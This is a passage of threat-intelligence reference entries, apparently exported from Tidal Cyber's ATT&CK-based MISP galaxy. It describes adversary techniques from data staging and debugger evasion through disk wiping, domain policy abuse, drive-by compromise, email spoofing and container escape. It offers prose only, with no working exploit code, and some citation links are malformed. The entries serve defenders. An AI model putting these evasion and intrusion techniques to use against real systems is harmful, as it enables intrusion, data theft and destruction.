Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://app.tidalcyber.com/technique/ebd3f870-c513-4fb0-b133-15ffc1f91db2). Interactive command shells may be used, and common functionality within [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) and bash may be used to copy data into a staging location.^{[[PWC Cloud Hopper April 2017](https://app.tidalcyber.com/references/fe741064-8cd7-428b-bdb9-9f2ab7e92489)]}

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://app.tidalcyber.com/technique/2ba8a662-6930-4cbe-9e3d-4cbe2109fd88) and stage data in that instance.^{[[Mandiant M-Trends 2020](https://app.tidalcyber.com/references/83bc9b28-f8b3-4522-b9f1-f43bce3ae917)]}

Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:technique="Data Staged"*

Data Transfer Size Limits

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer

threshold alerts.

The tag is: *misp-galaxy:technique="Data Transfer Size Limits"*

Debugger Evasion

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.^{[[ProcessHacker Github](https://app.tidalcyber.com/references/3fc82a92-cfba-405d-b30e-22eba69ab1ee)]}

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary. On Windows, this may involve [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools.^{[[Cado Security P2PInfect 2023](https://app.tidalcyber.com/references/8e589de1-9c94-5ce9-ab6e-dcc1393bf997)]}^{[[Positive Technologies Hellhounds 2023](https://app.tidalcyber.com/references/c094cc70-5ea8-5b99-840a-b8bff806b4bb)]} Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).^{[[hasherezade debug](https://app.tidalcyber.com/references/53b0c71d-c577-40e8-8a04-9de083e276a2)]}^{[[AlKhaser Debug](https://app.tidalcyber.com/references/d9773aaf-e3ec-4ce3-b5c8-1ca3c4751622)]}^{[[vxunderground debug](https://app.tidalcyber.com/references/8c7fe2a2-64a1-4680-a4e6-f6eefe00407a)]}

Malware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program’s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program’s execution to continue.^{[[Apriorit](https://app.tidalcyber.com/references/e4806ab9-c5cf-5249-a521-1ee4ca392520)]}

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560) function calls

such as <code>OutputDebugStringW()</code>.^{[[wardle evilquest partii](https://app.tidalcyber.com/references/4fee237c-c2ec-47f5-b382-ec6bd4779281)]}^{[[Checkpoint Dridex Jan 2021](https://app.tidalcyber.com/references/a988084f-1a58-4e5b-a616-ed31d311cccf)]}

The tag is: *misp-galaxy:technique="Debugger Evasion"*

Defacement

Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://app.tidalcyber.com/technique/9a21c7c7-cf8e-4f05-b196-86ec39653e3b) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://app.tidalcyber.com/technique/9a21c7c7-cf8e-4f05-b196-86ec39653e3b) in order to cause user discomfort, or to pressure compliance with accompanying messages.

The tag is: *misp-galaxy:technique="Defacement"*

Deobfuscate/Decode Files or Information

Adversaries may use [Obfuscated Files or Information](https://app.tidalcyber.com/technique/046cc07e-8700-4536-9c5b-6ecb384f52b0) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is the use of [certutil](https://app.tidalcyber.com/software/2fe21578-ee31-4ee8-b6ab-b5f76f97d043) to decode a remote access tool portable executable file that has been hidden inside a certificate file.^{[[Malwarebytes Targeted Attack against Saudi Arabia](https://app.tidalcyber.com/references/735647f9-9cd4-4a20-8812-4671a3358e46)]}
Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.^{[[Carbon Black Obfuscation Sept 2016](https://app.tidalcyber.com/references/bed8ae68-9738-46fb-abc9-0004fa35636a)]}^{[[Sentinel One Tainted Love 2023](https://app.tidalcyber.com/references/03ff59ee-9ed7-5739-9abf-82329d581aab)]}

Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.^{[[Volexity PowerDuke November 2016](https://app.tidalcyber.com/references/4026c055-6020-41bb-a4c8-54b308867023)]}

The tag is: *misp-galaxy:technique="Deobfuscate/Decode Files or Information"*

Deploy Container

Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://app.tidalcyber.com/technique/bebaf25b-9f50-4e3b-96cc-cc55c5765b61) and access other containers running on the node. ^{[[AppSecco Kubernetes Namespace Breakout 2020](https://app.tidalcyber.com/references/85852b3e-f6a3-5406-9dd5-a649358a53de)]}

Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. ^{[[Docker Containers API](https://app.tidalcyber.com/references/2351cb32-23d6-4557-9c52-e6e228402bab)]}^{[[Kubernetes Dashboard](https://app.tidalcyber.com/references/02f23351-df83-4aae-a0bd-614ed91bc683)]}^{[[Kubeflow Pipelines](https://app.tidalcyber.com/references/0b40474c-173c-4a8c-8cc7-bac2dcfcaedd)]} In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.^{[[Kubernetes Workload Management](https://app.tidalcyber.com/references/f207163b-08a8-5219-aca8-812e83e0dad3)]} Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.^{[[Aqua Build Images on Hosts](https://app.tidalcyber.com/references/efd64f41-13cc-4b2b-864c-4d2352cdadcd)]}

The tag is: *misp-galaxy:technique="Deploy Container"*

Develop Capabilities

Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}^{[[Kaspersky Sofacy](https://app.tidalcyber.com/references/46226f98-c762-48e3-9bcd-19ff14184bb5)]}^{[[Bitdefender StrongPity June 2020](https://app.tidalcyber.com/references/7d2e20f2-20ba-4d51-9495-034c07be41a8)]}^{[[Talos Promethium June 2020](https://app.tidalcyber.com/references/188d990e-f0be-40f2-90f3-913dfe687d27)]}

As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.

The tag is: *misp-galaxy:technique="Develop Capabilities"*

Device Driver Discovery

Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://app.tidalcyber.com/technique/9e945aa5-3883-4537-a767-f49bdcce26c7)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://app.tidalcyber.com/technique/63baf71d-f46f-4ac8-a3a6-8345ddd2f7a8)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c)).

Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.^{[[Microsoft Driverquery](https://app.tidalcyber.com/references/7302dc00-a75a-5787-a04c-88ef4922ac09)]}^{[[Microsoft EnumDeviceDrivers](https://app.tidalcyber.com/references/647ffc70-8eab-5f2f-abf4-9bbf42554043)]} Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://app.tidalcyber.com/technique/e0a347e2-2ac5-458b-ab0f-18d81b6d6055)) may also be available in the Registry.^{[[Microsoft Registry Drivers](https://app.tidalcyber.com/references/4bde767e-d4a7-56c5-9aa3-b3f3cc2e3e70)]}

On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.^{[[Linux Kernel Programming](https://app.tidalcyber.com/references/70f31f19-e0b3-40b1-b8dd-6667557bb334)]}^{[[lsmod man](https://app.tidalcyber.com/references/c2f88274-9da4-5d24-b68d-302ee5990dd5)]}^{[[modinfo man](https://app.tidalcyber.com/references/d4f2db5c-ef6d-556d-a5e2-f6738277fecd)]}

The tag is: *misp-galaxy:technique="Device Driver Discovery"*

Direct Volume Access

Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. ^{[[Hakobyan 2009](https://app.tidalcyber.com/references/d92f6dc0-e902-4a4a-9083-8d1667a7003e)]}

Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.^{[[Github PowerSploit Ninjacopy](https://app.tidalcyber.com/references/e92aed6b-348b-4dab-8292-fee0698e4a85)]} Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://app.tidalcyber.com/software/a7589733-6b04-4215-a4e7-4b62cd4610fa)) to create shadow copies or backups of data from system volumes.^{[[LOLBAS Esentutl](https://app.tidalcyber.com/references/691b4907-3544-4ad0-989c-b5c845e0330f)]}

The tag is: *misp-galaxy:technique="Direct Volume Access"*

Disk Wipe

Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406), [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d), and [SMB/Windows Admin Shares]([Novetta Blockbuster Destructive Malware (https://app.tidalcyber.com/references/de278b77-52cb-4126-9341-5b32843ae9f1)]</sup>

On network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `erase`.^{[[erase_cmd_cisco](https://app.tidalcyber.com/references/4c90eba9-118e-5d50-ad58-27bcb0e1e228)]}

The tag is: *misp-galaxy:technique="Disk Wipe"*

Domain or Tenant Policy Modification

Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.

Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.

With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:

- modifying GPOs to push a malicious [Scheduled Task](https://app.tidalcyber.com/technique/723c6d51-91db-4658-9ee0-eafb953c2d82) to computers throughout the domain environment^{[[ADSecurity GPO Persistence 2016](https://app.tidalcyber.com/references/e304715f-7da1-4342-ba5b-d0387d93aeb2)]}^{[[Wald0 Guide to GPOs](https://app.tidalcyber.com/references/48bb84ac-56c8-4840-9a11-2cc76213e24e)]}^{[[Harmj0y Abusing GPO Permissions](https://app.tidalcyber.com/references/18cc9426-9b51-46fa-9106-99688385ebe4)]}
- modifying domain trusts to include an adversary-controlled domain, allowing adversaries to

forge access tokens that will subsequently be accepted by victim domain resources^{[[Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks](https://app.tidalcyber.com/references/47031992-841f-4ef4-87c6-bb4c077fb8dc)]}

- changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://app.tidalcyber.com/technique/c5eb5b88-6c62-4900-9b14-c4d67d420002).
- adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant ^{[[Okta Cross-Tenant Impersonation 2023](https://app.tidalcyber.com/references/d54188b5-86eb-52a0-8384-823c45431762)]}

Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.

The tag is: *misp-galaxy:technique="Domain or Tenant Policy Modification"*

Domain Trust Discovery

Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.^{[[Microsoft Trusts](https://app.tidalcyber.com/references/e6bfc6a8-9eea-4c65-9c2b-04749da72a92)]} Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://app.tidalcyber.com/technique/dcb323f0-0fe6-4e26-9039-4f26f10cd3a5), [Pass the Ticket](https://app.tidalcyber.com/technique/5e771f38-6286-4330-b7b4-38071ad6b68a), and [Kerberoasting]([AdSecurity Forging Trust Tickets (https://app.tidalcyber.com/references/09d3ccc1-cd8a-4675-88c0-84110f5b8e8b)]</sup>^{[[Harmj0y Domain Trusts](https://app.tidalcyber.com/references/23a9ef6c-9f71-47bb-929f-9a92f24553eb)]} Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.^{[[Harmj0y Domain Trusts](https://app.tidalcyber.com/references/23a9ef6c-9f71-47bb-929f-9a92f24553eb)]} The Windows utility [Nltest](https://app.tidalcyber.com/software/fbb1546a-f288-4e43-9e5c-14c94423c4f6) is known to be used by adversaries to enumerate domain trusts.^{[[Microsoft Operation Wilysupply](https://app.tidalcyber.com/references/567ce633-a061-460b-84af-01dfe3d818c7)]}

The tag is: *misp-galaxy:technique="Domain Trust Discovery"*

Drive-by Compromise

Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://app.tidalcyber.com/technique/f2661f07-9027-4d19-9028-d07b7511f3d5)), including:

- A legitimate website is compromised, allowing adversaries to inject malicious code
- Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary

- Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://app.tidalcyber.com/technique/60ac24aa-ce63-5c1d-8126-db20a27d85be))
- Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)

Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872). By clicking "allow" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.^{[[Push notifications - viruspositive](https://app.tidalcyber.com/references/55522504-0d48-5854-933e-e9654d081cbb)]}^{[[push notification -mcafee](https://app.tidalcyber.com/references/3432e39c-343d-5a87-9260-00560ed27e86)]}^{[[push notifications - malwarebytes](https://app.tidalcyber.com/references/3863f365-810b-5f60-aed0-36646d855ac7)]}

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.^{[[Shadowserver Strategic Web Compromise](https://app.tidalcyber.com/references/cf531866-ac3c-4078-b847-5b4af7eb161f)]}

Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike [Exploit Public-Facing Application](https://app.tidalcyber.com/technique/4695fd01-43a5-4aa9-ab1a-501fc0dfbd6a), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

The tag is: *misp-galaxy:technique="Drive-by Compromise"*

Dynamic Resolution

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://app.tidalcyber.com/technique/be8786b3-cd3d-47ef-a9e7-cd3ab3c901a1). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.^{[[Talos CCleanup 2017](https://app.tidalcyber.com/references/f2522cf4-dc65-4dc5-87e3-9e88212fcfe9)]}^{[[FireEye POSHSPY April 2017](https://app.tidalcyber.com/references/b1271e05-80d7-4761-a13f-b6f0db7d7e5a)]}^{[[ESET Sednit 2017 Activity](https://app.tidalcyber.com/references/406e434e-0602-4a08-bbf6-6d72311a720e)]}

The tag is: *misp-galaxy:technique="Dynamic Resolution"*

Email Bombing

Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.^{[[sophos-bombing](https://app.tidalcyber.com/references/5c4a933d-1e68-562e-a826-4df500732573)]}^{[[krebs-email-bombing](https://app.tidalcyber.com/references/246257d1-b277-5609-a1b2-9494e68d4f9c)]}

An adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim's inbox.^{[[krebs-email-bombing](https://app.tidalcyber.com/references/246257d1-b277-5609-a1b2-9494e68d4f9c)]}^{[[hhs-email-bombing](https://app.tidalcyber.com/references/30f58736-50eb-5a94-ae8b-0cc9f39db31b)]}

By sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams.^{[[hhs-email-bombing](https://app.tidalcyber.com/references/30f58736-50eb-5a94-ae8b-0cc9f39db31b)]} This behavior can also be used as a tool of harassment.^{[[krebs-email-bombing](https://app.tidalcyber.com/references/246257d1-b277-5609-a1b2-9494e68d4f9c)]}

This behavior may be a precursor for [Spearphishing Voice](https://app.tidalcyber.com/technique/350c12a3-33f6-5942-8892-4d6e70abbfc1). For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of [Remote Access Software](https://app.tidalcyber.com/technique/) to steal credentials, deploy ransomware, conduct [Financial Theft]([sophos-bombing(https://app.tidalcyber.com/references/5c4a933d-1e68-562e-a826-4df500732573)]</sup>, or engage in other malicious activity.^{[[rapid7-email-bombing](https://app.tidalcyber.com/references/b57af46b-a26b-5fca-8509-406889261d41)]}

The tag is: *misp-galaxy:technique="Email Bombing"*

Email Collection

Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries.

Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.^{[[TrustedSec OOB Communications](https://app.tidalcyber.com/references/65b7db0a-1aeb-545b-af65-b40d043f3502)]}^{[[CISA AA20-352A 2021](https://app.tidalcyber.com/references/1e68b9ef-0aee-5d69-be72-3bc4d5cfa6b9)]} Adversaries can collect or forward email from mail servers or clients.

The tag is: *misp-galaxy:technique="Email Collection"*

Email Spoofing

Adversaries may fake, or spoof, a sender's identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.^{[[Proofpoint TA427 April 2024](https://app.tidalcyber.com/references/620f5ff7-26c0-55c4-9b1b-c56ad2e1316b)]} In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.

This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).^{[[Cloudflare DMARC, DKIM, and SPF](https://app.tidalcyber.com/references/839911f1-5f08-5004-aa79-0bd7e08f3b82)]}^{[[DMARC-overview](https://app.tidalcyber.com/references/330fd090-565f-50c1-9c1e-522f336abca7)]}^{[[Proofpoint-DMARC](https://app.tidalcyber.com/references/5b9588a1-7baf-5a10-8663-10cfed41c472)]} Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.^{[[Proofpoint TA427 April 2024](https://app.tidalcyber.com/references/620f5ff7-26c0-55c4-9b1b-c56ad2e1316b)]}^{[[ic3-dprk](https://app.tidalcyber.com/references/76adbd81-2df0-5167-a0ef-a37a582e7739)]}

Adversaries may abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts^{[[ic3-dprk](https://app.tidalcyber.com/references/76adbd81-2df0-5167-a0ef-a37a582e7739)]} such as [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533). They may also leverage email spoofing for [Impersonation](https://app.tidalcyber.com/technique/20417e43-6ffa-5d36-a2ef-e27cd5a4b8f1) of legitimate external individuals and organizations, such as journalists and academics.^{[[ic3-dprk](https://app.tidalcyber.com/references/76adbd81-2df0-5167-a0ef-a37a582e7739)]}

The tag is: *misp-galaxy:technique="Email Spoofing"*

Encrypted Channel

Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of

a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:technique="Encrypted Channel"*

Endpoint Denial of Service

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes^{[[FireEye OpPoisonedHandover February 2016](https://app.tidalcyber.com/references/1d57b1c8-930b-4bcb-a51e-39020327cc5d)]} and to support other malicious activities, including distraction^{[[FSISAC FraudNetDoS September 2012](https://app.tidalcyber.com/references/9c8772eb-6d1d-4742-a2db-a5e1006effaa)]}, hacktivism, and extortion.^{[[Symantec DDoS October 2014](https://app.tidalcyber.com/references/878e0382-4191-4bca-8adc-c379b0d57ba8)]}

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.^{[[USNYAG IranianBotnet March 2016](https://app.tidalcyber.com/references/69ee73c1-359f-4584-a6e7-75119d24bbf5)]}

In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code

that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.^{[[ArsTechnica Great Firewall of China](https://app.tidalcyber.com/references/1a08d58f-bf91-4345-aa4e-2906d3ef365a)]}

For attacks attempting to saturate the providing network, see [Network Denial of Service](https://app.tidalcyber.com/technique/e6c14a7b-1fb8-4557-83e7-7f5b89717311).

The tag is: *misp-galaxy:technique="Endpoint Denial of Service"*

Escape to Host

Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.^{[[Docker Overview](https://app.tidalcyber.com/references/52954bb1-16b0-4717-a72c-8a6dec97610b)]}

There are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host's filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.^{[[Docker Bind Mounts](https://app.tidalcyber.com/references/b298b3d1-30c1-4894-b1de-be11812cde6b)]}^{[[Trend Micro Privileged Container](https://app.tidalcyber.com/references/92ac290c-4863-4774-b334-848ed72e3627)]}^{[[Intezer Doki July 20](https://app.tidalcyber.com/references/688b2582-6602-44e1-aaac-3a4b8e168b04)]}^{[[Container Escape](https://app.tidalcyber.com/references/8248917a-9afd-4ec6-a086-1a97a68deff1)]}^{[[Crowdstrike Kubernetes Container Escape](https://app.tidalcyber.com/references/84d5f015-9014-417c-b2a9-f650fe19d448)]}^{[[Keyctl-unmask](https://app.tidalcyber.com/references/75db8c88-e547-4d1b-8f22-6ace2b3d7ad4)]}

Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command]([Container Escape(https://app.tidalcyber.com/references/8248917a-9afd-4ec6-a086-1a97a68deff1)]</sup> Adversaries may also escape via [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.^{[[Windows Server Containers Are Open](https://app.tidalcyber.com/references/9a801256-5852-433e-95bd-768f9b70b9fe)]}

In ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.^{[[Broadcom VMSA-2025-004](https://app.tidalcyber.com/references/6f88aad2-2180-56ac-ae5f-d69f23c407cb)]}

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on

objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.

The tag is: *misp-galaxy:technique="Escape to Host"*

Establish Accounts

Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.^{[[NEWSCASTER2014](https://app.tidalcyber.com/references/9abb4bbb-bad3-4d22-b235-c8a35465f2ce)]}^{[[BlackHatRobinSage](https://app.tidalcyber.com/references/82068e93-a3f8-4d05-9358-6fe76a0055bb)]}

For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.^{[[NEWSCASTER2014](https://app.tidalcyber.com/references/9abb4bbb-bad3-4d22-b235-c8a35465f2ce)]}^{[[BlackHatRobinSage](https://app.tidalcyber.com/references/82068e93-a3f8-4d05-9358-6fe76a0055bb)]}

